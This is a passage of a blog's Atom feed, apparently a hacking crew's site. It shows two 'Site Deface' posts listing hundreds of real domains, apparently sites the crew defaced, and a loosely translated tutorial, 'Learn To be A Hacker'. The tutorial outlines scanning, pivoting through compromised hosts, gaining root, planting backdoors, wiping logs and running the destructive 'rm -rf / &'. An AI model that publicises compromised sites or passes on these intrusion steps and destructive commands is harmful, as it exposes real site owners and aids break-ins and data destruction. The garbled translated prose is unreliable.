<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9075231620953005452</id><updated>2011-12-05T12:00:56.683+07:00</updated><category term='video'/><category term='hacknews'/><category term='articles'/><category term='Hacking'/><category term='tools'/><category term='tips and trick'/><category term='site deface today'/><category term='defacer'/><category term='IRC'/><category term='tutorial'/><title type='text'>hacking tutorial,Tips n Trick, Tools for networking</title><subtitle type='html'>All tutorial hacking from our site just for knowledge not for crime</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1066750098052287818</id><published>2011-03-29T16:42:00.000+07:00</published><updated>2011-03-29T16:43:36.831+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defacer'/><category scheme='http://www.blogger.com/atom/ns#' term='site deface today'/><title type='text'>Site Deface 29 march 2011</title><content type='html'>www.ssvs.ac.th&lt;br /&gt;www.theislandteacompany.com&lt;br /&gt;bm.hljgszx.com&lt;br /&gt;bm010.com&lt;br /&gt;boss.lzl98.com&lt;br /&gt;buxingjie365.com&lt;br /&gt;che78.com&lt;br /&gt;card.baoanren.com&lt;br /&gt;class.hldnews.com&lt;br /&gt;chway.net&lt;br /&gt;crm.gongrenzhaopin.com&lt;br /&gt;crazyenglishcenter.com&lt;br /&gt;www.festejossanpedro.com&lt;br /&gt;www.findesemanaenasturias.com&lt;br /&gt;daili.shanxiit.com&lt;br /&gt;daogou800.com&lt;div class="fullpost"&gt;&lt;br /&gt;disk.hzyhzhx.com&lt;br /&gt;alcasino.info&lt;br /&gt;unicd.com&lt;br /&gt;seotech.info&lt;br /&gt;seedphoto.com&lt;br /&gt;edsv-seal.com&lt;br /&gt;esbright.com&lt;br /&gt;sandsforex.info&lt;br /&gt;lukis.info&lt;br /&gt;casinoduke.com&lt;br /&gt;openorders.net&lt;br /&gt;www.altoservice.co.uk&lt;br /&gt;casinodance.com&lt;br /&gt;bm.51yasi.com&lt;br /&gt;camerabag.uni.cc&lt;br /&gt;axcy88.cn&lt;br /&gt;boatcrewjobs.info&lt;br /&gt;affstore.com&lt;br /&gt;asfzl.net&lt;br /&gt;freesource-area.com&lt;br /&gt;baidiy.com&lt;br /&gt;6008765.com&lt;br /&gt;asthatour.com&lt;br /&gt;b16creativestudio.com&lt;br /&gt;5ixh.com&lt;br /&gt;shanghai.gufeiyong.com&lt;br /&gt;secure.firstcallcomputing.com&lt;br /&gt;www.11jm.com&lt;br /&gt;autoqingdao.com&lt;br /&gt;baikeshow.baikejob.com&lt;br /&gt;www3.office-sp.co.jp&lt;br /&gt;bbs.6639111.com&lt;br /&gt;815885.com&lt;br /&gt;baby9999.com&lt;br /&gt;www.kolonpipe.com&lt;br /&gt;www.mu17173.com&lt;br /&gt;8248.net&lt;br /&gt;88362222.com&lt;br /&gt;www.plasticaitalia.it&lt;br /&gt;www.mo5.cn&lt;br /&gt;www.momaxx-trading-gmbh.de&lt;br /&gt;208ok.com&lt;br /&gt;3a3g.com&lt;br /&gt;30wx.com&lt;br /&gt;365ss.net&lt;br /&gt;htjys.com&lt;br /&gt;tasse.b-meindl.de&lt;br /&gt;www.maddog.gr&lt;br /&gt;www.dpa.com.ve&lt;br /&gt;27118.com&lt;br /&gt;27dm.com&lt;br /&gt;www.tzshjxx.com&lt;br /&gt;www.tzdcw.cn&lt;br /&gt;asjtfw.com&lt;br /&gt;art.gkabc.com&lt;br /&gt;www.syxhzx.com&lt;br /&gt;www.sjms.cc&lt;br /&gt;trade.justtrade.in&lt;br /&gt;mytel070.co.kr&lt;br /&gt;www.airedale-gp-training.co.uk&lt;br /&gt;www.beton.hu&lt;br /&gt;emis.christian.ac.th&lt;br /&gt;hdsqjy.tjhd.gov.cn&lt;br /&gt;www.kartex.com.hk&lt;br /&gt;www.ktvmv.com&lt;br /&gt;www.365health.co.nz&lt;br /&gt;siggesc.isegi.unl.pt&lt;br /&gt;www.hnktz.com&lt;br /&gt;tw.baskr.com&lt;br /&gt;app.earthsearch.us&lt;br /&gt;sts.ntue.edu.tw&lt;br /&gt;www.lehmann-pr.cn&lt;br /&gt;www.lichangzhu.com&lt;br /&gt;my.scqiche.net&lt;br /&gt;tp.tourispac.ch&lt;br /&gt;0478e.com&lt;br /&gt;www.elssme.com&lt;br /&gt;0515sydn.com&lt;br /&gt;www.becker.com.au&lt;br /&gt;www.wsrcw.net&lt;br /&gt;www.asetra.es&lt;br /&gt;wap.aiyag.com&lt;br /&gt;ad.aiyag.com&lt;br /&gt;da.montes.upm.es&lt;br /&gt;www.intechnetworks.es&lt;br /&gt;www.lautianlu.com.tw&lt;br /&gt;7777517.com&lt;br /&gt;aqcdc.org&lt;br /&gt;3woods.com&lt;br /&gt;isose.org&lt;br /&gt;ssynms.com&lt;br /&gt;quickpopo.com&lt;br /&gt;qinyuan8.com&lt;br /&gt;www.bakeryzone.co.kr&lt;br /&gt;sys.avtion.com&lt;br /&gt;anmiso.com&lt;br /&gt;qb.823.ss.la&lt;br /&gt;www.823.ss.la&lt;br /&gt;www.zednews.co.uk&lt;br /&gt;you-inspire.co.uk&lt;br /&gt;murgie.co.uk&lt;br /&gt;frenchhouse.dailymail.co.uk&lt;br /&gt;www.dzslyy.com&lt;br /&gt;bd.enter6mall.com&lt;br /&gt;www.dailymailoffers.co.uk&lt;br /&gt;www.dgma.co.uk&lt;br /&gt;lj.179dj.cn&lt;br /&gt;sy.xuyiwy.com&lt;br /&gt;www.jiujiuw.com&lt;br /&gt;www.xuyizj.com&lt;br /&gt;creif.montes.upm.es&lt;br /&gt;www.operasurgery.co.kr&lt;br /&gt;www.olv06.com&lt;br /&gt;www.yanglao99.com&lt;br /&gt;www.yanglao99.com&lt;br /&gt;www.psdp-egypt.info&lt;br /&gt;d2gods.com&lt;br /&gt;www.valeriasa.com.br&lt;br /&gt;www.shockit.ro&lt;br /&gt;dunia-malaysia.page4.me&lt;br /&gt;grupovelser.com&lt;br /&gt;www.ccim.com.br&lt;br /&gt;www.multimuebles.cl&lt;br /&gt;publiprotege.com&lt;br /&gt;www.losarijogjatour.com&lt;br /&gt;www.hotelmurahjogja.com&lt;br /&gt;sanprimasejati.com&lt;br /&gt;innotechwireless.com&lt;br /&gt;royalguardindonesia.com&lt;br /&gt;www.zipskin-laptop.com&lt;br /&gt;viewmycreation.co.cc&lt;br /&gt;m.joyagps.com&lt;br /&gt;joyagps.com&lt;br /&gt;kvikselv.dk&lt;br /&gt;corporatedaycare.co.in&lt;br /&gt;infoprompt.net&lt;br /&gt;sds.co.in&lt;br /&gt;eisjasper.com&lt;br /&gt;www.datasa.co.za&lt;br /&gt;www.campusvirtuales.com.ar&lt;br /&gt;hms.hebtu.edu.cn&lt;br /&gt;www.lafrance-cafe.com.tw&lt;br /&gt;acalstar.com&lt;br /&gt;superbolao.lancenet.com.br&lt;br /&gt;stihl.rental2k.it&lt;br /&gt;www.es168.cn&lt;br /&gt;www.sergiog.com.br&lt;br /&gt;soledinverno.com&lt;br /&gt;www.daiwa-dvr.jp&lt;br /&gt;www.sergiog.com.br&lt;br /&gt;soledinverno.com&lt;br /&gt;www.daiwa-dvr.jp&lt;br /&gt;www.neurologiarj.com.br&lt;br /&gt;www.szthong.com&lt;br /&gt;www.abreal.co.za&lt;br /&gt;www.xalawyer.net&lt;br /&gt;ecoricambi.com&lt;br /&gt;ly-qc.com&lt;br /&gt;www.shuzifun.com&lt;br /&gt;www.jjcrj.com.cn&lt;br /&gt;www.ahyijia.com&lt;br /&gt;gpa.tmk.ac.th&lt;br /&gt;tcc.e-bestis.com.tw&lt;br /&gt;www.yqkmn.com&lt;br /&gt;www.qasoft.com.cn&lt;br /&gt;www.jindr.cn&lt;br /&gt;sjzasd.com&lt;br /&gt;www.dybr168.com&lt;br /&gt;www.cncautomation.ca&lt;br /&gt;www.zjtiger.com&lt;br /&gt;huangxinxin.com&lt;br /&gt;xm.newedu.org&lt;br /&gt;www.klkxin.com&lt;br /&gt;www.zxly.gov.cn&lt;br /&gt;www.aditusnet.com&lt;br /&gt;www.j-ride.com&lt;br /&gt;lzsx.sclz.net.cn&lt;br /&gt;fodony.com&lt;br /&gt;ifix.freshcode.co.za&lt;br /&gt;hejiahuanhotel.com&lt;br /&gt;habitatstoreonline.com&lt;br /&gt;hr.newedu.org&lt;br /&gt;ruidososchools.org&lt;br /&gt;www.df-lighting.com&lt;br /&gt;hr.newedu.org&lt;br /&gt;ruidososchools.org&lt;br /&gt;www.df-lighting.com&lt;br /&gt;www.chz114.com&lt;br /&gt;jiayouwa.com&lt;br /&gt;ncehome.913173.com&lt;br /&gt;www.913173.com&lt;br /&gt;www.china-consumer.net&lt;br /&gt;xcjx.pyedu.cn&lt;br /&gt;bendavidsalons.com&lt;br /&gt;www.keshet.org.il&lt;br /&gt;longhuong.com&lt;br /&gt;www.jeeptrip.com&lt;br /&gt;shrottweil.com&lt;br /&gt;sqqsxx.pyedu.cn&lt;br /&gt;www.66198198.com&lt;br /&gt;www.snjcy.gov.cn&lt;br /&gt;www.prattkidswrestling.com&lt;br /&gt;www.filearchivos.com&lt;br /&gt;www.soloshotel.com.ar&lt;br /&gt;bha.com.ar&lt;br /&gt;www.bjqxb.com&lt;br /&gt;www.testa.com.ar&lt;br /&gt;jsj.ahiec.net&lt;br /&gt;www.lfdf.net&lt;br /&gt;xsc.ahiec.net&lt;br /&gt;1manbrand.co.uk&lt;br /&gt;www.zfrt.net&lt;br /&gt;member.wealth-mentors.com&lt;br /&gt;bnd.ic-trade.com&lt;br /&gt;www.whitesandstours.ae&lt;br /&gt;dragonit.co.il&lt;br /&gt;www.caferotshild.co.il&lt;br /&gt;www.xfshenghuo.com&lt;br /&gt;www.leaderkx.com&lt;br /&gt;www.xfshenghuo.com&lt;br /&gt;www.leaderkx.com&lt;br /&gt;www.skhlmcmps.edu.hk&lt;br /&gt;www.chinaoristand.com&lt;br /&gt;haishengni.com&lt;br /&gt;www.smkn10-mlg.sch.id&lt;br /&gt;www.rioondeir.com&lt;br /&gt;www.rechonchee.com.br&lt;br /&gt;www.tudodabolsa.eti.br&lt;br /&gt;www.overseadivecenter.com.br&lt;br /&gt;moto.velik.org&lt;br /&gt;www.magalhaesturismo.com.br&lt;br /&gt;www.thedepository.biz&lt;br /&gt;www.jjgas.com.cn&lt;br /&gt;btwyp.com&lt;br /&gt;www.qhdpt.com&lt;br /&gt;www.yingruichem.com&lt;br /&gt;punchaboveyourweight.com&lt;br /&gt;www.astromagus.com&lt;br /&gt;pcfan.com.tw&lt;br /&gt;www.mailscan.nu&lt;br /&gt;pbjchina.com&lt;br /&gt;cnty100.com&lt;br /&gt;ystjy.com.cn&lt;br /&gt;crbbg.com&lt;br /&gt;dalimj.com&lt;br /&gt;vinayakford.com&lt;br /&gt;www.mtt.co.kr&lt;br /&gt;www.ilconsulente.net&lt;br /&gt;www.solutione.com.br&lt;br /&gt;www.glaucomadisease.com&lt;br /&gt;wooam.com&lt;br /&gt;www.dnn.catalystlearning.com&lt;br /&gt;grandsoluxehotel.com&lt;br /&gt;toyota-center.com.cn&lt;br /&gt;toyota-center.com.cn&lt;br /&gt;asp.mos8.com&lt;br /&gt;bx.xsxgxx.com&lt;br /&gt;www.sinpang.com&lt;br /&gt;www.hfis.cn&lt;br /&gt;sjxyz.cn&lt;br /&gt;www.jnxhzdh.com&lt;br /&gt;www.r80rugby.co.nz&lt;br /&gt;www.sonachaandi.us&lt;br /&gt;cs.maifun.com&lt;br /&gt;bj.maifun.com&lt;br /&gt;bbs.tiaofun.com&lt;br /&gt;xfjtmy.com&lt;br /&gt;www.sonachaandi.com&lt;br /&gt;www.kuilongstone.com&lt;br /&gt;www.euicex.com&lt;br /&gt;yxtypx.cn&lt;br /&gt;www.elekter.com&lt;br /&gt;www.willowcrafts.com.cn&lt;br /&gt;www.pixelhk.cn&lt;br /&gt;training.oristand.com&lt;br /&gt;www.bikeb2b.net&lt;br /&gt;qddrjk-fs.com&lt;br /&gt;safety.corna.biz&lt;br /&gt;navecomp.com&lt;br /&gt;agent.dns110.com&lt;br /&gt;bokirestaurant.com&lt;br /&gt;9buys.net&lt;br /&gt;devarkalyanam.com&lt;br /&gt;fashionwoodworks.com&lt;br /&gt;sialn.com&lt;br /&gt;jindugardenhotel.com&lt;br /&gt;oelerfamily.net&lt;br /&gt;w2.kinemo.com&lt;br /&gt;www.kinemo.com&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1066750098052287818?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1066750098052287818/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-29-march-2011.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1066750098052287818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1066750098052287818'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-29-march-2011.html' title='Site Deface 29 march 2011'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8625080908787769981</id><published>2011-03-28T10:59:00.001+07:00</published><updated>2011-03-28T11:38:39.232+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defacer'/><title type='text'>Site Deface 28 march 2011</title><content type='html'>matakin.or.id&lt;br /&gt;www.designers-avenue.com&lt;br /&gt;www.divine-beauty.com&lt;br /&gt;www.duniasprei.com&lt;br /&gt;www.baccini-milano.com&lt;br /&gt;www.tm-trade3000.com&lt;br /&gt;ahlimasjid.com&lt;br /&gt;lindanoviana.info&lt;br /&gt;ies-nn.ru&lt;br /&gt;bakul-tukul.com&lt;br /&gt;gunungkidulkab.go.id&lt;br /&gt;www.tiendanatural.com&lt;br /&gt;www.south-store-watches.com&lt;br /&gt;www.truffe-et-foie-gras.com&lt;br /&gt;www.eramandutyfree.com&lt;div class="fullpost"&gt;&lt;br /&gt;perpus.psik-umj.ac.id&lt;br /&gt;www.universitasquality.ac.id&lt;br /&gt;peternakan.gunungkidulkab.go.id&lt;br /&gt;ictkotadepok.net&lt;br /&gt;jurnalfortuna.com&lt;br /&gt;beerenschwester.de&lt;br /&gt;putradcyb3rassassins.blogspot.com&lt;br /&gt;www.1-noveltyphones.com&lt;br /&gt;www.vibrator-bg.com&lt;br /&gt;ratu-collection.com&lt;br /&gt;www.bijouterielanglois.com&lt;br /&gt;www.torreschina.com&lt;br /&gt;www.shirtfast.com&lt;br /&gt;artisanmexico.com&lt;br /&gt;www.pocketcrib.com&lt;br /&gt;puddlejumpersuperstore.com&lt;br /&gt;www.byardllc.com&lt;br /&gt;www.hobbyroad.com&lt;br /&gt;www.mifarmaciasanlorenzo.com&lt;br /&gt;www.buybreak.com&lt;br /&gt;www.besteasystore.com&lt;br /&gt;webskis.com&lt;br /&gt;www.crossbowdeals.com&lt;br /&gt;diceoutlet.com&lt;br /&gt;www.tikiandme.com&lt;br /&gt;comercio.centregar.com&lt;br /&gt;www.razorpit.com&lt;br /&gt;www.fabu-licious.com&lt;br /&gt;www.thedailyplanner.com&lt;br /&gt;www.mebliplus.com&lt;br /&gt;www.repuestosjuanito.com&lt;br /&gt;www.mobilecellphoneaccessories.com&lt;br /&gt;www.efflearn.com&lt;br /&gt;www.inspiredepot.com&lt;br /&gt;www.coscofloor.com&lt;br /&gt;pattaya-web-services.com&lt;br /&gt;www.naughtynightware.com&lt;br /&gt;cjinternetsales.com&lt;br /&gt;sex-shop.si&lt;br /&gt;doodle-wraps.com&lt;br /&gt;louisianahandbook.com&lt;br /&gt;komunitas.coder.web.id&lt;br /&gt;nuditeecovered.com&lt;br /&gt;shoppingduvalstreetkw.com&lt;br /&gt;adoreswimwear.com&lt;br /&gt;www.cabikini.com&lt;br /&gt;www.maxima-sport.pl&lt;br /&gt;www.onlineprescription-pharmacy.com&lt;br /&gt;www.prescription-medicals.com&lt;br /&gt;www.servis-femec.si&lt;br /&gt;negozio.acquaservice.org&lt;br /&gt;www.tdamarant.ru&lt;br /&gt;daniani.web.id&lt;br /&gt;www.corhaven.co.uk&lt;br /&gt;www.crookedimaging.co.uk&lt;br /&gt;www.conquest-games.co.uk&lt;br /&gt;www.thecaninecook.com&lt;br /&gt;www.pccompro.com.ar&lt;br /&gt;whyufirst.com&lt;br /&gt;www.bedcentreuk.co.uk&lt;br /&gt;www.boogylondon.com&lt;br /&gt;antiagingskincareproductreview.com&lt;br /&gt;www.appliancesparesonline.co.uk&lt;br /&gt;opencart.westmontcomputer.com&lt;br /&gt;keltecsub2000.com&lt;br /&gt;stylistbackgrounds.com&lt;br /&gt;mythemecorner.com&lt;br /&gt;www.creative4kids.com&lt;br /&gt;www.centaurguitar.com&lt;br /&gt;www.stieindonesia-ptk.ac.id&lt;br /&gt;loja.okinfo.com.br&lt;br /&gt;rachmatefendi.com&lt;br /&gt;opencart.aicosistemas.cl&lt;br /&gt;www.digitalbazzar.co.uk&lt;br /&gt;www.ies-nn.ru&lt;br /&gt;bakul-tukul.com&lt;br /&gt;www.lindanoviana.info&lt;br /&gt;www.ahlimasjid.com&lt;br /&gt;dean-smith.com&lt;br /&gt;agen-pasar.com&lt;br /&gt;kedaikartika.com&lt;br /&gt;safeindonesia.com&lt;br /&gt;carissa-onlineshop.com&lt;br /&gt;trust-movers.com&lt;br /&gt;www.iesal.web.id&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8625080908787769981?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8625080908787769981/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-28-march-2011.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8625080908787769981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8625080908787769981'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/site-deface-28-march-2011.html' title='Site Deface 28 march 2011'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1930255803680062259</id><published>2011-03-26T18:03:00.002+07:00</published><updated>2011-03-26T18:08:25.268+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='articles'/><title type='text'>Learn To be A Hacker</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Hackers&lt;/span&gt; with the expertise to see and fix vulnerabilities in computer software;&lt;br /&gt;normally then published openly on the Internet for the system to be better. Unfortunately, few people take the evil use that information to crime - they are usually called a cracker. Basically the world of &lt;span style="font-style: italic;"&gt;hackers and crackers&lt;/span&gt; are no different from the art world, here we talking art Internet network security.&lt;br /&gt;&lt;br /&gt;I hope the science of network security in this paper is used for good things - be a &lt;span style="font-style: italic;"&gt;Hacker not a Cracker&lt;/span&gt;. Do not until you get karma for using science to destroy property others. Moreover, at present the need for &lt;span style="font-style: italic;"&gt;hackers&lt;/span&gt; is increasing in Indonesia with dotcommers more who want to IPO in the stock market. Good name and the value of a dotcom could fall even become worthless if the dotcom collapse. In this case, &lt;span style="font-style: italic;"&gt;the hackers expected &lt;/span&gt;to be a security consultant for the dotcommers it - because the HR party police and security forces in Indonesia is very very weak and pathetic in the field of technology Information &amp;amp; Internet. What may make cybersquad, private cyberpatrol probably need at budayakan for survival dotcommers Indonesia on the Internet.&lt;br /&gt;&lt;div style="text-align: justify;" class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Various Internet network security techniques can be easily obtained on the Internet, among others, inhttp://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org,&lt;br /&gt;http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Most&lt;br /&gt;of this technique in the form of books that the number of its several hundred pages that can be taken in&lt;br /&gt;free of charge (free). Some Frequently Asked Questions (FAQ) about network security can&lt;br /&gt;&lt;/div&gt;obtained in http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. And for&lt;br /&gt;the experimenter some script / program that is so can be found among others in http://bastille-&lt;br /&gt;linux.sourceforge.net /, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.&lt;br /&gt;For those readers who wish to gain knowledge about the network can be downloaded free of charge from&lt;br /&gt;http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Some book-shaped&lt;br /&gt;softcopy can be taken free of charge to the capture of http://pandu.dhs.org/Buku-Online/. We must&lt;br /&gt;especially grateful to the team led by Pandu I Made Wiryana for this. At this time,&lt;br /&gt;I do not know of any place of active discussion Indonesia discuss these hacking techniques -&lt;br /&gt;but may be partly discussed in the mailing list information such as kursus-linux@yahoogroups.com&lt;br /&gt;&amp;amp; Linux-admin@linux.or.id which are operated by the Indonesian Linux Users Group (Ltsp)&lt;br /&gt;http://www.kpli.or.id.&lt;br /&gt;The simplest way to see the weakness of the system is by way of seeking information from&lt;br /&gt;various vendors for example in http://www.sans.org/newlook/publications/roadmap.htm # 3b on&lt;br /&gt;weakness of the system they have created yourself. In addition, monitoring the various mailing lists at&lt;br /&gt;Internet which related with security network like in list&lt;br /&gt;http://www.sans.org/newlook/publications/roadmap.htm # 3e.&lt;br /&gt;Described by Front-line Information Security Team, "Techniques Adopted By 'System Crackers'&lt;br /&gt;When Attempting To Break Into Corporate or Sensitive Private Networks, "fist@ns2.co.uk&lt;br /&gt;&lt;br /&gt;http://www.ns2.co.uk. A Cracker generally men aged 16-25 years. Based on user statistics&lt;br /&gt;Internet in Indonesia, then in fact the majority of Internet users in Indonesia are children younger&lt;br /&gt;at this age as well. Indeed, this age is the age that is ideal in studying new including&lt;br /&gt;Internet knowledge, very unfortunate if we do not succeed menginternetkan to 25,000 Indonesian school&lt;br /&gt;s / d in 2002 - as the foundation for the future of Indonesia is in the hands of our young kids this.&lt;br /&gt;Well, the young cracker cracking is generally done to improve the ability /&lt;br /&gt;use the resources on the network for its own sake. Generally, the cracker is&lt;br /&gt;opportunistic. Seeing the weakness of the system to carry out the scanner program. After gaining access&lt;br /&gt;root, the cracker will install a back door (backdoor) and close all general weakness&lt;br /&gt;there.&lt;br /&gt;As we know, generally the various companies / dotcommers will use the Internet to (1)&lt;br /&gt;Web hosting their servers, (2) e-mail communication and (3) provide access web / internet to&lt;br /&gt;its employees. Internet and Intranet network separation is generally performed using&lt;br /&gt;engineering / software firewall and proxy server. Seeing the conditions of use of the above, the weakness of the system&lt;br /&gt;generally can penetrate through the mail server for example with external / outside that is used for&lt;br /&gt;easy access to the mail out of the company. In addition, by using aggressive-SNMP&lt;br /&gt;scanner and a program that forced the SNMP community string to convert a router into&lt;br /&gt;bridge (bridge) which can then be used for a stepping stone to get into the network&lt;br /&gt;company's internal (Intranet).&lt;br /&gt;In order for crackers protected during the attack, the technique cloacking (incognito) is done&lt;br /&gt;by jumping from the previous machine has been compromised (conquered) through program&lt;br /&gt;telnet or rsh. At an intermediary machine that uses Windows attack can be performed with&lt;br /&gt;Wingate jumped out of the program. In addition, the jumps can be done through a proxy device&lt;br /&gt;configuration is less good.&lt;br /&gt;After a successful jump and into other systems, usually a cracker to probe against&lt;br /&gt;network and gather the information needed. This is done in several ways,&lt;br /&gt;eg (1) use nslookup to run the command 'ls &lt;domain&gt;', (2) see&lt;br /&gt;HTML file on your web server to identify other machines, (3) to see various documents on&lt;br /&gt;FTP servers, (4) connecting to the mail server and use the command 'expn &lt;user&gt;', and (5)&lt;br /&gt;her finger users on other external machines.&lt;br /&gt;The next step, the cracker will identify network components that are trusted by the system what&lt;br /&gt;only. These network components are usually the administrator machine and the server that is usually considered&lt;br /&gt;most secure in the network. Start by checking access &amp;amp; NFS exports are critical to various directories&lt;br /&gt;such as / usr / bin, / etc and / home. Exploitation of the machine through the weakness of the Common Gateway Interface (CGI),&lt;br /&gt;with access to the file / etc / hosts.allow.&lt;br /&gt;Next cracker should identify network components that are weak and can be conquered.&lt;br /&gt;Crackers can use the program in Linux like ADMhack, mscan, nmap and many small scanner&lt;br /&gt;other. Programs such as 'ps' and 'netstat' in for a trojan (remember the Trojan horse story? In classical greek story&lt;br /&gt;old) to hide the scanning process. For a fairly advanced cracker can use&lt;br /&gt;aggressive-SNMP scanning to scan equipment with SNMP.&lt;br /&gt;Once the cracker managed to identify the network components are weak and can be conquered, then&lt;br /&gt;cracker will run a program to conquer the weak daemon program on the server. Program&lt;br /&gt;daemon is a program on a server that normally runs in the background (as daemon / demon).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The success of conquering this daemon program will allow a cracker to obtain&lt;br /&gt;access as 'root' (the highest administrator in the server).&lt;br /&gt;To eliminate the trace, a cracker usually perform the cleaning operation 'clean-&lt;br /&gt;up 'operation by way of cleaning the various log files. And add the program to enter&lt;br /&gt;from the back door 'backdooring'. Changing. Rhosts file in / usr / bin for easy access to the machine&lt;br /&gt;that be conquered through rsh &amp;amp; csh.&lt;br /&gt;Furthermore, a cracker can use a machine that has been conquered for their interests&lt;br /&gt;own, such as taking sensitive information that should not be read; mengcracking machine&lt;br /&gt;other by jumping from the machine be conquered; install a sniffer to see / record the various&lt;br /&gt;traffic / communication is passed; can even turn off the system / network by running&lt;br /&gt;command '&lt;span style="font-style: italic;"&gt;rm-rf / &amp;amp;&lt;/span&gt;'. The latter will be very fatal consequences because the system will be destroyed at all,&lt;br /&gt;especially if all the software in put in the hard disk. Process re-install the entire system must be done,&lt;br /&gt;would be a headache if it is done on machines that run mission critical.&lt;br /&gt;Therefore all machines &amp;amp; routers that run mission critical should always check&lt;br /&gt;security &amp;amp; on patch by newer software. Backup is very important especially in&lt;br /&gt;machines that perform critical missions in order to be saved from the act of disabling cracker&lt;br /&gt;system with '&lt;span style="font-style: italic;"&gt;rm-rf / &amp;amp;&lt;/span&gt;'.&lt;br /&gt;For those of us who wrestle daily on the Internet usually it will greatly appreciate the presence of&lt;br /&gt;hacker (not cracker). Because thanks to the hackers, the Internet is there and can we enjoy such&lt;br /&gt;today, even kept in repair to be a better system. Various weaknesses&lt;br /&gt;system be improved because of cleverness fellow &lt;span style="font-style: italic;"&gt;hackers &lt;/span&gt;who often times they will be working on improvements.&lt;br /&gt;voluntarily because of his hobby. Moreover, often the result of his hacking distributed free of charge&lt;br /&gt;on the Internet for the purposes of the Internet community. A culture of mutual help values ​​&amp;amp; Noble it grows in cyberspace Internet that usually seem futuristic and far from the social sense.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/user&gt;&lt;/domain&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1930255803680062259?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1930255803680062259/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/learn-to-be-hacker.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1930255803680062259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1930255803680062259'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2011/03/learn-to-be-hacker.html' title='Learn To be A Hacker'/><author><name>arie 